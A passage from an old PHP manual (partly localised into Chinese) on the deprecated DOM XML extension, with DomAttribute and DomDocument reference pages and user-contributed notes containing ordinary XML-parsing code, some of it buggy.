 } // end if node has attributes

 if ($node->has_child_nodes()) {
   $this->loop($node->first_child());
 } // end if node has child
 else {
   $this->set_data($node);
 } // end if node has no child
 // get next sibling
 $node = $node->next_sibling();
 if ($node) {
   $this->loop($node);
 } // end if node
} // end function loop
?>

The code goes from the root element, if the element has attributes - it sets attribute variables.  Second, it recursively proceeds to the lowest level element (no more children).  Once that level has been reached, data variables are set.  The next step goes to the next sibling of the element, if it exists.  If the next sibling does not exists, the function is ended and the current element is returned to the parent element.  The parent element is then checked for siblings.  This process continues (as is with recursion) until the parent element is back at the root element, which is the end of the document.
deborah dot seidman at imc-fr dot com
11-Dec-2004 12:15
You can always use a sax parser (expat) which saves on memory storage (there is none as sax is event driven) and use this neat code to produce an array structure of you xml file :

see http://fr2.php.net/manual/fr/function.xml-parse.php

comment by
tgrabietz at bupnet dot de
22-Sep-2004 05:05
jas at uci dot edu
16-Nov-2004 07:56
i needed to have an easy way to create a multi-dimensional but EXTREMELY SIMPLE php array out of some XML text i'm receiving. NOT an object. just an ARRAY.

i found that as simple a request as this seemed to be, the new (php5) DOM functions do not provide this functionality.

even the SimpleXML functions are object-oriented, which doesn't work for some of my purposes (sending to a Smarty template variable for looping through, etc.) -- returning attributes as SimpleXMLElement objects instead of strings, etc.. i just wanted an ARRAY containing the data as STRINGS.

eli (http://www.hoktar.com) had submitted such code earlier, based on domxml/php4 calls. his function was called "domxml_xmlarray".

but when php5 came out, eli's comments at the bottom of the PHP site got erased. (fortunately, i had already saved his code.) no doubt, mine will too w/next version..

furthermore, as far as i can tell, no one has taken the cue to add something like eli's domxml_xmlarray function directly into the DOMDocument object (but it would be nice).

so i translated eli's code, now using the dom calls (instead of the older domxml calls), and renamed the function to "dom_to_simple_array()".

below is a script containing the function itself as well as an example of its use. just copy it to your server somewhere and execute it and it should work right off the bat if you are using php5.

thanks.
jeff stern

==================================================================
<?php

function dom_to_simple_array($domnode, &$array) {
  $array_ptr = &$array;
  $domnode = $domnode->firstChild;
  while (!is_null($domnode)) {
   if (! (trim($domnode->nodeValue) == "") ) {
     switch ($domnode->nodeType) {
       case XML_TEXT_NODE: {
         $array_ptr['cdata'] = $domnode->nodeValue;
         break;
       }
       case XML_ELEMENT_NODE: {
         $array_ptr = &$array[$domnode->nodeName][];
         if ($domnode->hasAttributes() ) {
           $attributes = $domnode->attributes ();
           if (!is_array ($attributes)) {
             break;
           }
           foreach ($attributes as $index => $domobj) {
             $array_ptr[$index] = $array_ptr[$domobj->name] = $domobj->value;
           }
         }
         break;
       }
     }
     if ( $domnode->hasChildNodes() ) {
       dom_to_simple_array($domnode, $array_ptr);
     }
   }
   $domnode = $domnode->nextSibling;
  }
}

  # now, let's make a sample string containing some XML
  $strXMLData = "<contacts>
       <contact>
         <name>
           John Doe
         </name>
         <phone>
           123-456-7890
         </phone>
       </contact>
       <contact>
         <name>
           Mary Smiley
         </name>
         <phone>
           567-890-1234
         </phone>
       </contact>
     </contacts>";

  # create a DOM tree xml object (hierarchical array) from
  # this XML string
  $domdoc = new DOMDocument;
  $domdoc->loadXML($strXMLData);

  # now simplify the DOM array into a very simple array structure

  # first, create an empty array to be filled with your
  # simplified array result..
  $aData = array();

  # now, pass the dom document and your empty array to the
  # converter function.
  dom_to_simple_array($domdoc, $aData);

  # now $aData contains your simplified array, so print it out
?><html>
<body>
<p>there are <? echo count($aData['contacts'][0]['contact']); ?>
 contacts</p>
<p>the 2nd contact's phone number is
<?echo $aData['contacts'][0]['contact'][1]['phone'][0]['cdata']; ?>
</p>
<hr />
<p>Here is the raw array structure:</p>
<pre>
<? print_r($aData); ?>
</pre>
</body>
</html>
==================================================================
Alex
05-Jul-2004 12:48
PHP4/DOMXML code is not compatible with the new PHP5/dom extension. While the conversion is quite strait forward, it can take a long time if domxml has been broadly used. Moreover, it can be interesting to have old PHP4 scripts ready for PHP5 as soon as possible even if the server is still running PHP4. Since I have that kind of problem, if have written a small library to include in PHP4 scripts to enable them to be run on PHP5. http://alexandre.alapetite.net/doc-alex/domxml-php4-php5/

It does not cover all the domxml functionality, but most of the main functions and can easily be extended. Tested with PHP4.3.7 and PHP5.0.0RC3 but I will try to keep it updated. I hope it can help.
SAM
23-Apr-2004 02:05
When installing PHP --with-dom and --with-dom-xslt on a Red Hat 9.0 remember to install the following packages:

libxml
libxml2
libxml2-devel
libxslt
libxslt-devel

Then you will be spared error messages when trying to configure.

regards
SAM
ngc(dontSpamMe)rapanden(SpamOFF)dk
28-Jan-2004 08:48
Sorry, a bug in my code... I made the first version late at night, sorry!

The bug was in the "if ($ChildDomNode->has_child_nodes())" block, I didn't save the data for the for the CildNode of the CildNodes. the bug has been fixed.

<?php
function getElementAttributes($DomNode,$elementName,$attriName)
{
   if ($ChildDomNode = $DomNode->first_child())
   {
       while($ChildDomNode)
       {
           if ($ChildDomNode->node_type() == XML_ELEMENT_NODE)
             {
               if($ChildDomNode->node_name() == $elementName)
               {

                 if ($ChildDomNode->has_attributes())
                 {
                   $Array = $ChildDomNode->attributes();
                   foreach ($Array AS $DomAttribute)
                   {
                       if($DomAttribute->name() == $attriName)
                       {
                         $nodeArray[] = $DomAttribute->value();
                       }
                   }// foreach ($Array AS $DomAttribute)

                 }//if ($ChildDomNode->has_attributes())

               }

             if ($ChildDomNode->has_child_nodes())
               {
                   $tmpArray = (getElementAttributes($ChildDomNode,$elementName,$attriName));
                   $nodeArray = array_merge($nodeArray, $tmpArray);
                   unset($tmpArray);
               }// if ($ChildDomNode->has_child_nodes())

           }//if ($ChildDomNode->node_type() == XML_ELEMENT_NODE)

           $ChildDomNode = $ChildDomNode->next_sibling();

       }//while($ChildDomNode)

   return $nodeArray;
  }//if ($ChildDomNode = $DomNode->first_child())

}
$file = "test3.xml";
$element = "pb";
$att = "id";
$DomDocument = domxml_open_file($file);
$RootDomNode = $DomDocument->document_element();
$array = getElementAttributes($RootDomNode,$element,$att);
echo "<pre>";
print_r($array);
echo "</pre>";
?>
bps7j at yahoSPAMo.com
25-Dec-2003 04:19
I've also rolled my own DOM-like functionality for places where the DOM extensions aren't available.

http://www.sequent.org/baron/script-hacking.php
bradparks at bradparks dot com
18-Dec-2003 06:41
Hey;

If you need to parse XML on an older version of PHP (e.g. 4.0) or if you can't get the expat extension enabled on your server, you might want to check out the Saxy and DOMIT! xml parsers from Engage Interactive. They're opensource and pure php, so no extensions or changes to your server are required. I've been using them for over a month on some projects with no problems whatsoever!

Check em out at:

DOMIT!, a DOM based xml parser, uses Saxy (included)
http://www.engageinteractive.com/redir.php?resource=3&target=domit

or

Saxy, a sax based xml parser
http://www.engageinteractive.com/redir.php?resource=4&target=saxy

Brad
bart at mediawave dot nl
12-Nov-2003 03:46
This recursive function will iterate over a DOM object and display it as a nicely formatted XML structure. I used intuitive variable names to help learn more about the DOM functions and their return values.

<<?php

function PrintDomTree($DomNode)
{
   if ($ChildDomNode = $DomNode->first_child()) {
       static $depth = 0;

       $whitespace = "\n<br>".str_repeat(" ", ($depth * 2));

       while ($ChildDomNode) {
           if ($ChildDomNode->node_type() == XML_TEXT_NODE) {
               echo trim($ChildDomNode->node_value());
           } elseif ($ChildDomNode->node_type() == XML_ELEMENT_NODE) {
               $HasTag = 1;
               echo $whitespace;
               echo "<", $ChildDomNode->node_name();

               if ($ChildDomNode->has_attributes()) {
                   $Array = $ChildDomNode->attributes();
                   foreach ($Array AS $DomAttribute) {
                       echo " ", $DomAttribute->name(), "=\"", $DomAttribute->value(), "\"";
                   }
               }
               echo ">";

               if ($ChildDomNode->has_child_nodes()) {
                   $depth++;
                   if (PrintDomTree($ChildDomNode)) {
                       echo $whitespace;
                   }
                   $depth--;
               }
               echo "</", $ChildDomNode->node_name(), ">";
           }
           $ChildDomNode = $ChildDomNode->next_sibling();
       }
       return $HasTag;
   }
}

?>
nospam at phppatterns dot com
10-Apr-2003 04:51
If you're having trouble understanding how the the DOM XML extension fits together you may find the UML diagram here helps: http://www.phppatterns.com/index.php/article/articleview/38
sorn at dsl dot upc dot es
18-Mar-2003 07:38
When parsing "iso-8859-1" encoded XML files, use "utf8_decode" to recover node contents (libxml uses "UTF-8" internal encoding, so conversion needed).

--- BEGIN: mydata.xml ---
<?xml version="1.0" encoding="iso-8859-1"?>
...
--- END: mydata.xml---

--- BEGIN: myparser.php ---
<?php
...
$domxml = domxml_open_file("mydata.xml"));
...
$content = utf8_decode(trim($node->content));
echo $content;
...
?>
--- END: myparser.php

-eof-
add a note add a note

后退 | 起点 | 前进
dom_import_simplexml | 上一级 | DomAttribute->name


DomAttribute->name

(no version information, might be only in CVS)

DomAttribute->name -- Returns the name of attribute

说明

class DomAttribute {

string name ( void )

}

Gets the name of the attribute.

返回值

Returns the name of the attribute.

Migrating to PHP 5

Use the name property of DOMAttr.

参见

DomAttribute->value for an example

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DOM XML Functions | 上一级 | DomAttribute->set_value


DomAttribute->set_value

(no version information, might be only in CVS)

DomAttribute->set_value -- Sets the value of an attribute

说明

class DomAttribute {

bool set_value ( string content )

}

This function sets the value of an attribute.

参数

content

The new value.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

Migrating to PHP 5

Set the value property of DOMAttr.

参见

DomAttribute->value

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomAttribute->name | 上一级 | DomAttribute->specified


DomAttribute->specified

(no version information, might be only in CVS)

DomAttribute->specified -- Checks if attribute is specified

说明

class DomAttribute {

bool specified ( void )

}

Checks if the attribute was explicitly given a value in the original document.

注: This method is not implemented yet.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

The definition of specified in the DOM Recommendations

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomAttribute->set_value | 上一级 | DomAttribute->value


DomAttribute->value

(no version information, might be only in CVS)

DomAttribute->value -- Returns value of attribute

说明

class DomAttribute {

string value ( void )

}

This function returns the value of the attribute.

范例

例子 1. Getting all the attributes of a node

<?php

include("example.inc");

if (!$dom = domxml_open_mem($xmlstr)) {
     echo "Error while parsing the document\n";
     exit;
}

$root = $dom->document_element();
$attrs = $root->attributes();

echo 'Attributes of ' . $root->node_name() . "\n";
foreach ($attrs as $attribute) {
     echo ' - ' . $attribute->name . ' : ' . $attribute->value . "\n";
}

?>

上例将输出：

Attributes of chapter
 - language : en

返回值

Returns the value of the attribute.

Migrating to PHP 5

Use the value property of DOMAttr.

参见

DomAttribute->set_value
DomAttribute->name

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomAttribute->specified | 上一级 | DomDocument->add_root


DomDocument->add_root

(no version information, might be only in CVS)

DomDocument->add_root -- Adds a root node [deprecated]

说明

domelement DomDocument->add_root ( string name )

Adds a root element node to a dom document and returns the new node. The element name is given in the passed parameter.

例子 1. Creating a simple HTML document header

<?php
$doc = domxml_new_doc("1.0");
$root = $doc->add_root("html");
$head = $root->new_child("head", "");
$head->new_child("title", "Hier der Titel");
echo htmlentities($doc->dump_mem());
?>

add a note add a note User Contributed Notes
Jorrit Kronjee
05-Nov-2003 11:16
For those not closely reading the documentation (like me), this is an example of adding a root without add_root.

$new_dom = domxml_new_doc("1.0");
$new_element = $newdom->create_element("root_el");
$new_node = $newdom->append_child($new_element);
add a note add a note

后退 | 起点 | 前进
DomAttribute->value | 上一级 | DomDocument->create_attribute


DomDocument->create_attribute

(no version information, might be only in CVS)

DomDocument->create_attribute -- Create new attribute

说明

domattribute DomDocument->create_attribute ( string name, string value )

This function returns a new instance of class DomAttribute. The name of the attribute is the value of the first parameter. The value of the attribute is the value of the second parameter. 本节点不会出现在文档中，除非是用例如 domnode_append_child() 函数来将其插入。

The return value is FALSE if an error occurred.

See also domnode_append_child(),
domdocument_create_element(),
domdocument_create_text(),
domdocument_create_cdata_section(),
domdocument_create_processing_instruction(),
domdocument_create_entity_reference(), and
domnode_insert_before().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomDocument->add_root | 上一级 | DomDocument->create_cdata_section


DomDocument->create_cdata_section

(no version information, might be only in CVS)

DomDocument->create_cdata_section -- Create new cdata node

说明

domcdata DomDocument->create_cdata_section ( string content )

This function returns a new instance of class DomCData. The content of the cdata is the value of the passed parameter. 本节点不会出现在文档中，除非是用例如 domnode_append_child() 函数来将其插入。

The return value is FALSE if an error occurred.

See also domnode_append_child(),
domdocument_create_element(),
domdocument_create_text(),
domdocument_create_attribute(),
domdocument_create_processing_instruction(),
domdocument_create_entity_reference(), and
domnode_insert_before().

add a note add a note User Contributed Notes
webmaster at freecaradverts dot com
01-Apr-2004 08:55
Beware if you're using the PEAR package XML_BEAUTIFIER. This causes the DOM processor to recognise any CDATA section nodes as text nodes. Better just to stick with the formatting option when using dump_file()......
laurent at rezoloco dot com
04-Sep-2003 01:05
add CDATA SECTION with xml content in a xml document

 $doc_in=domxml_open_mem('<?xml version="1.0"?><paragraphe></paragraphe>'));
   $root=$doc_in->document_element ();
   $node_txt_para=$root->new_child("txt_para","");
   $cdata=$doc_in->create_cdata_section("<root><child num=1></child></root>");
   $node_txt_para->append_child($cdata);
   $dump=$doc_in->dumpmem();
   print($dump);
add a note add a note

后退 | 起点 | 前进
DomDocument->create_attribute | 上一级 | DomDocument->create_comment


DomDocument->create_comment

(no version information, might be only in CVS)

DomDocument->create_comment -- Create new comment node

说明

domcomment DomDocument->create_comment ( string content )

This function returns a new instance of class DomComment. The content of the comment is the value of the passed parameter. 本节点不会出现在文档中，除非是用例如 domnode_append_child() 函数来将其插入。

The return value is FALSE if an error occurred.

See also domnode_append_child(),
domdocument_create_element(),
domdocument_create_text(),
domdocument_create_attribute(),
domdocument_create_processing_instruction(),
domdocument_create_entity_reference(), and
domnode_insert_before().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomDocument->create_cdata_section | 上一级 | DomDocument->create_element_ns


DomDocument->create_element_ns

(no version information, might be only in CVS)

DomDocument->create_element_ns -- Create new element node with an associated namespace

说明

domelement DomDocument->create_element_ns ( string uri, string name [, string prefix] )

This function returns a new instance of class DomElement. The tag name of the element is the value of the passed parameter name. The URI of the namespace is the value of the passed parameter uri. If there is already a namespace declaration with the same uri in the root-node of the document, the prefix of this is taken, otherwise it will take the one provided in the optional parameter prefix or generate a random one. 本节点不会出现在文档中，除非是用例如 domnode_append_child() 函数来将其插入。

The return value is FALSE if an error occurred.

See also domdocument_create_element_ns(),
domnode_add_namespace(),
domnode_set_namespace(),
domnode_append_child(),
domdocument_create_text(),
domdocument_create_comment(),
domdocument_create_attribute(),
domdocument_create_processing_instruction(),
domdocument_create_entity_reference(), and
domnode_insert_before().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomDocument->create_comment | 上一级 | DomDocument->create_element


DomDocument->create_element

(no version information, might be only in CVS)

DomDocument->create_element -- Create new element node

说明

domelement DomDocument->create_element ( string name )

This function returns a new instance of class DomElement. The tag name of the element is the value of the passed parameter. 本节点不会出现在文档中，除非是用例如 domnode_append_child() 函数来将其插入。

The return value is FALSE if an error occurred.

See also domdocument_create_element_ns(),
domnode_append_child(),
domdocument_create_text(),
domdocument_create_comment(),
domdocument_create_attribute(),
domdocument_create_processing_instruction(),
domdocument_create_entity_reference(), and
domnode_insert_before().

add a note add a note User Contributed Notes
Mikael Ljungberg
04-May-2005 01:46
When creating empty nodes like xhtml:link, the output misses the closing slash. This is what I got:

<link ...>
dk
25-Nov-2003 03:58
The first example on this page is also a bit verbose. Since the DomElement class inherits/extends the DomNode class, one does not, in fact, have to get another reference to the first node. The create_element method has already given you that reference. (Also, the last line passes a string to the append_child method, instead of a DomNode object) Simplified:

<?
$new_element = $dom->create_element("new_element");
$new_element->append_child($another_element);
$oldTag->append_child($new_element);
?>
Jorrit Kronjee
05-Nov-2003 11:15
The example done by Nico Almhoedi has a small error.

Since append_child only accepts DomElement (which is an object), it should've been:

$new_element = DomDocument->create_element("new_el");
$new_node = $existent_node->append_child($new_element);
Nico almhoedi at gmx dot de
05-Jan-2003 07:40
It's easier possible since DomNode->append_child($new_element) returns the new child as an object, so you can refer to it immediately.

To append a child to the node $existent_node:

$new_element = DomDocument->create_element("new_el");
$new_node = $existent_node->append_child("new_el");

see Manual DomNode->append_child()
greg@cabinetuk
14-Nov-2002 09:27
Its important to remember, when adding a created element to an existing node using append_child(), that if you want to then add another element to that node you have to go back and set up a DOMNode instance using DOMDocument_get_elements_by_tagname or similar before you can append another node onto it.

eg

<?
$new_element = $dom->create_element("new_element");
$oldTag->append_child($new_element);
//Go back and set up new element as DOMNode
$new_elementArray = $dom->get_elements_by_tagname("new_element");
$new_elementTag = $new_elementArray[0];//(if theres more than one use a for loop)

$new_elementTag->append_child("another_new_element");
?>
add a note add a note

后退 | 起点 | 前进
DomDocument->create_element_ns | 上一级 | DomDocument->create_entity_reference


DomDocument->create_entity_reference

(no version information, might be only in CVS)

DomDocument->create_entity_reference -- Create an entity reference

说明

domentityreference DomDocument->create_entity_reference ( string content )

This function returns a new instance of class DomEntityReference. The content of the entity reference is the value of the passed parameter. 本节点不会出现在文档中，除非是用例如 domnode_append_child() 函数来将其插入。

The return value is FALSE if an error occurred.

See also domnode_append_child(),
domdocument_create_element(),
domdocument_create_text(),
domdocument_create_cdata_section(),
domdocument_create_processing_instruction(),
domdocument_create_attribute(), and
domnode_insert_before().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomDocument->create_element | 上一级 | DomDocument->create_processing_instruction


DomDocument->create_processing_instruction

(no version information, might be only in CVS)

DomDocument->create_processing_instruction -- Creates new PI node

说明

domprocessinginstruction DomDocument->create_processing_instruction ( string content )

This function returns a new instance of class DomCData. The content of the pi is the value of the passed parameter. 本节点不会出现在文档中，除非是用例如 domnode_append_child() 函数来将其插入。

The return value is FALSE if an error occurred.

See also domnode_append_child(),
domdocument_create_element(),
domdocument_create_text(),
domdocument_create_cdata_section(),
domdocument_create_attribute(),
domdocument_create_entity_reference(), and
domnode_insert_before().

add a note add a note User Contributed Notes
fru at not dot spam dot com
04-Aug-2004 05:31
note that
string DomDocument->
   create_processing_instruction ( string contenido)
takes two arguments:
- first: the processing instruction,
- second: the arguments and values of
     the processing instruction
:::so must be:
string DomDocument->
   create_processing_instruction ( string prInst,
           string contenido)
AlanCanon
26-May-2004 05:20
There's an error in both the above examples: it's "xml-stylesheet," not "xsl-stylesheet.Corrected examples:

   $pi = $dom->create_processing_instruction
   (
     "xml-stylesheet",
     "type=\"text/xsl\" href=\"$stylesheet\""
   );
   $dom->append_child($pi);
apoco at cox dot net
02-Dec-2003 12:34
That prior user example creates an invalid processing insruction under 4.3.4.  The first parameter is the processing instruction, and the second can be used for the attributes of the PI.  Here's a code snippet I used to insert a stylesheet:

<?php

$pi = $doc->create_processing_instruction(
  "xsl-stylesheet",
  "type=\"text/xsl\" href=\"$stylesheet\"");
$doc->append_child($pi);

?>
rj.kamp at hccnet dot nl
21-Oct-2003 07:29
Please note that you have to use this function the following way to add a stylsheetr for client side processing.

$pi = $myDoc->create_processing_instruction('','xsl-stylesheet type="text/xsl" href="path_to_my_stylesheet"');

$myDoc->append_child($pi);

And note you have to add this to the document before the rootnode.
add a note add a note

后退 | 起点 | 前进
DomDocument->create_entity_reference | 上一级 | DomDocument->create_text_node


DomDocument->create_text_node

(no version information, might be only in CVS)

DomDocument->create_text_node -- Create new text node

说明

domtext DomDocument->create_text_node ( string content )

This function returns a new instance of class DomText. The content of the text is the value of the passed parameter. 本节点不会出现在文档中，除非是用例如 domnode_append_child() 函数来将其插入。

The return value is FALSE if an error occurred.

See also domnode_append_child(),
domdocument_create_element(),
domdocument_create_comment(),
domdocument_create_text(),
domdocument_create_attribute(),
domdocument_create_processing_instruction(),
domdocument_create_entity_reference(), and
domnode_insert_before().

add a note add a note User Contributed Notes
chregu at php dot net
12-Dec-2002 08:29
Or just use utf8_encode($text), at least if your input is iso-8859-1

all text methods in domxml expect utf-8 encoded strings as input.
hlubek at networkteam dot com
02-Jun-2002 12:15
Ever tried to insert special characters e.g. German ,,, with this function?
Or to mix normal text with entities?

In my scripts I use a function like this:

$translateSpecial = array(
"" => "#228",
"" => "#252",
"" => "#246",
"" => "#196",
"" => "#220",
"" => "#214",
"" => "#223"
);

$buffer = "";
for($i = 0; $i < strlen($value); $i++)
{
  if(!$translateSpecial[$value{$i}])
   $buffer .= $value{$i};
  else
  {
   $node->append_child($xmldoc->create_text_node($buffer));
   $buffer = "";
   $node->append_child($xmldoc->
   create_entity_reference($translateSpecial[$value{$i}]));
  }
}
$node->append_child($xmldoc->create_text_node($buffer));
add a note add a note

后退 | 起点 | 前进
DomDocument->create_processing_instruction | 上一级 | DomDocument->doctype


DomDocument->doctype

(no version information, might be only in CVS)

DomDocument->doctype -- Returns the document type

说明

domdocumenttype DomDocument->doctype ( void )

This function returns an object of class DomDocumentType. In versions of PHP before 4.3 this has been the class Dtd, but the DOM Standard does not know such a class.

See also the methods of class DomDocumentType.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomDocument->create_text_node | 上一级 | DomDocument->document_element


DomDocument->document_element

(no version information, might be only in CVS)

DomDocument->document_element -- Returns root element node

说明

domelement DomDocument->document_element ( void )

This function returns the root element node of a document.

The following example returns just the element with name CHAPTER and prints it. The other node -- the comment -- is not returned.

例子 1. Retrieving root element

<?php
include("example.inc");

if (!$dom = domxml_open_mem($xmlstr)) {
  echo "Error while parsing the document\n";
  exit;
}

$root = $dom->document_element();
print_r($root);
?>

上例将输出：

domelement Object
(
    [type] => 1
    [tagname] => chapter
    [0] => 6
    [1] => 137960648
)

add a note add a note User Contributed Notes
MDummy
17-Mar-2006 11:55
document_element is not a funktion --> no clauses at the end!!

must be:
$root = $doc->document_element;
add a note add a note

后退 | 起点 | 前进
DomDocument->doctype | 上一级 | DomDocument->dump_file


DomDocument->dump_file

(no version information, might be only in CVS)

DomDocument->dump_file -- Dumps the internal XML tree back into a file

说明

string DomDocument->dump_file ( string filename [, bool compressionmode [, bool format]] )

Creates an XML document from the dom representation. This function usually is called after building a new dom document from scratch as in the example below. The format specifies whether the output should be neatly formatted, or not. The first parameter specifies the name of the filename and the second parameter, whether it should be compressed or not.

例子 1. Creating a simple HTML document header

<?php
$doc = domxml_new_doc("1.0");
$root = $doc->create_element("HTML");
$root = $doc->append_child($root);
$head = $doc->create_element("HEAD");
$head = $root->append_child($head);
$title = $doc->create_element("TITLE");
$title = $head->append_child($title);
$text = $doc->create_text_node("This is the title");
$text = $title->append_child($text);
$doc->dump_file("/tmp/test.xml", false, true);
?>

See also domdocument_dump_mem(), and domdocument_html_dump_mem().

add a note add a note User Contributed Notes
winghonghibernates at hotmail dot com
14-May-2003 09:37
Sometimes it maybe strange in the structure of the XML document when using false, true as the two boolean parameters. Using false, false can solve the problem.
tommy
20-Jul-2002 05:06
the return value contains the number of bytes, wich are written by this command
add a note add a note

后退 | 起点 | 前进
DomDocument->document_element | 上一级 | DomDocument->dump_mem


DomDocument->dump_mem

(no version information, might be only in CVS)

DomDocument->dump_mem -- Dumps the internal XML tree back into a string

说明

string DomDocument->dump_mem ( [bool format [, string encoding]] )

Creates an XML document from the dom representation. This function usually is called after building a new dom document from scratch as in the example below. The format specifies whether the output should be neatly formatted, or not.

例子 1. Creating a simple HTML document header

<?php
$doc = domxml_new_doc("1.0");
$root = $doc->create_element("HTML");
$root = $doc->append_child($root);
$head = $doc->create_element("HEAD");
$head = $root->append_child($head);
$title = $doc->create_element("TITLE");
$title = $head->append_child($title);
$text = $doc->create_text_node("This is the title");
$text = $title->append_child($text);
echo "<PRE>";
echo htmlentities($doc->dump_mem(true));
echo "</PRE>";
?>

注: The first parameter was added in PHP 4.3.0.

See also domdocument_dump_file(), and domdocument_html_dump_mem().

add a note add a note User Contributed Notes
jonathan at fluent dot ltd dot uk
01-Dec-2003 08:11
It seems that if you use $xslt->dump_mem(TRUE) IE: breaks and formats all the HTML Badly. Perhaps its a problem with CR's...
ross at dev-null dot accretivetg dot com
27-Sep-2003 01:11
Given the missing description of the encoding parameter, I had hoped it would automatically encode the document if I set the encoding type; this is not the case.

At least in PHP v4.3.3, it seems that setting the encoding type does NOTHING other than set the name displayed in the string:

<?xml version="1.0" encoding="UTF-8"?>

Thus if you want your values to be encoded, you need to manually encode them when you create your DOM object.  E.g. assume you have a simple setup like this:

<?php

  $text = 'Spanish exclamation!' ;

  $xml = domxml_new_doc( '1.0' );
  $node = $xml->create_element( 'example' );
  $cdata = $xml->create_cdata_section( $text );
  $node->append_child( $cdata );
  $xml->append_child( $node );

  echo $xml->dump_mem( true, 'UTF-8' ) ;

  ?>

This will output the following:

<?xml version="1.0" encoding="UTF-8"?>
<example>
<![CDATA[Spanish exclamation!]]>
</example>

However, that is not what was intended, as the exclamation is not UTF-8-encoded.  To make $text be encoded correctly, you have to explicitly do so, as in:

<?php

  $cdata = $xml->create_cdata_section( utf8_encode( $text ) );

  ?>

This results in the output being correctly UTF-8-encoded, as follows:

<![CDATA[Spanish exclamation!]]>

Apparently MSIE's MSXML2.DOMDocument ActiveX control requires UTF-8 encoding for special characters, and it will invalidate the entire document if those chars are not appropriately encoded, so beware.
amaslov at pegasus dot rutgers dot edu
24-Oct-2002 05:29
<pre>
for xml file that goes like this:
<item>
<name>foo</name>
<desc>bar</desc>
</item>

Format ID's influence output in this manner:
case 0 :{
<item><name>foo</name><desc>bar</desc></item>
}
case 1 :{
<item>
   <name>foo</name>
   <desc>bar</desc>
</item>
}
case 2:{
<item>
   <name>
foo
   </name>
   <desc>
bar
   </desc>
</item>

If you use PHP SAX(Expat) XML engine, you should always stick to format "0". It reads any empty spaces as XML data.
</pre>
bruno dot rodrigues at litux dot org
16-Aug-2002 05:32
string dump_mem(int format, string encoding);

format=0,1 = <tag>text</tag>
format=2 =
<tag>
  text
</tag>

encoding set's the encoding attribute in line
<?xml version="1.0" encoding="iso-8859-1"?>
add a note add a note

后退 | 起点 | 前进
DomDocument->dump_file | 上一级 | DomDocument->get_element_by_id


DomDocument->get_element_by_id

(no version information, might be only in CVS)

DomDocument->get_element_by_id -- Searches for an element with a certain id

说明

domelement DomDocument->get_element_by_id ( string id )

This function is similar to domdocument_get_elements_by_tagname() but searches for an element with a given id. According to the DOM standard this requires a DTD which defines the attribute ID to be of type ID, though the current implementation simply does an xpath search for "//*[@ID = '%s']". This does not comply to the DOM standard which requires to return null if it is not known which attribute is of type id. This behaviour is likely to be fixed, so do not rely on the current behaviour.

See also domdocument_get_elements_by_tagname()

add a note add a note User Contributed Notes
noel at rescommunes dot ca
16-Feb-2006 11:40
get_element_by_id does not work on my version of php :(
This reallyGet_element_by_id function is a easy replacenemt.

<?php
  /**
   * Get a node by its id 'attribute' value
   *
   * The attribute name id has to be spelled lowercase in xml file
   *
   * @return node on success and null in failure.
   * @param string An id to look for.
   */

  function reallyGet_element_by_id( $str_id  ){
   $node_with_id  = null;
   $xpath = xpath_new_context($this->dom);
   $xpresult = xpath_eval($xpath, "//@id");
   foreach( $xpresult->nodeset as $node ){
     if ($node->value == $str_id)
       return $node->parent_node( );
   }
   return $node_with_id;
  }

?>
etienne dot anken at eivd dot ch
03-Dec-2002 11:51
This class is useful for people who haven't the latest release of PHP and would like to search an element with a known ID through a collection of nodes.

Example to use it :

$domDoc = xmldoc("<root><entity id='e1'></entity><entity id='e2'><titi id='e5'></titi></entity></root>");

$root = $domDoc->root();
$children = $root->child_nodes();

$researchObject = new searchElementById("e5", $children);
$resultElement = $researchObject->beginSearching();

The source of the class :

class searchElementById {

  //Class which can find and return an XML node with a specified ID
  var $numberElements=0;
  var $numberAttributes=0;
  var $idToFind;
  var $tabElements;

  //Initialization function which accept 2 parameters :
  //$paramIdToFind : value of the ID to find
  //$paramTabElements : array of nodes which contains the element to find
  function searchElementById($paramIdToFind, $paramTabElements) {
   //Initialization of class variables
   $this->idToFind = $paramIdToFind;
   $this->tabElements = $paramTabElements;
  }

  //Function starting the research
  function beginSearching() {
   //Search and return the element found
   return $this->searchID($this->tabElements);
  }

  //Recursive function searching the desired node
  function searchID($tabElements) {

   //Variable of the number of elements
   $i = 0;
   //Variable of the number of attributes
   $j = 0;

   //Number of nodes in the elements' array
   $nbreNoeuds = count($tabElements);

   //Loop on all elements
   for ($i=0;$i<$nbreNoeuds;$i++) {

     //Incrementation of the class variable couting the total number of elements
     $this->compteurElements++;

     //Extraction of the attributes of the current element
     $tabAttributs = $tabElements[$i]->attributes();
     //Number of attributes in the current element
     $nbreAttributs = count($tabAttributs);
     //Loop on all attributes
     for ($j=0;$j<$nbreAttributs;$j++) {

       //Incrementation of the class variable couting the total number of attributes
       $this->numberAttributes++;

       //Test if the current attribute is the attribute to find
       if ($tabAttributs[$j]->value==$this->idToFind) {
         //If yes, return the current element
         return $tabElements[$i];
       }

     }

     //Search children nodes of the current element
     $children = $tabElements[$i]->child_nodes();
     if (!is_bool($children)) {
       //If the current element has children, call recursively this function
       $result = $this->searchID($children);
       //If the result is not boolean, return the array
       if (!is_bool($result)) {
         return $result;
       }
     }
   }

   return false;

  }

}
add a note add a note

后退 | 起点 | 前进
DomDocument->dump_mem | 上一级 | DomDocument->get_elements_by_tagname


DomDocument->get_elements_by_tagname

(no version information, might be only in CVS)

DomDocument->get_elements_by_tagname -- Returns array with nodes with given tagname in document or empty array, if not found

说明

array DomDocument->get_elements_by_tagname ( string name )

See also domdocument_add_root()

add a note add a note User Contributed Notes
nick dot dixon at NOSPAM dot mi-int dot com
04-Mar-2004 11:04
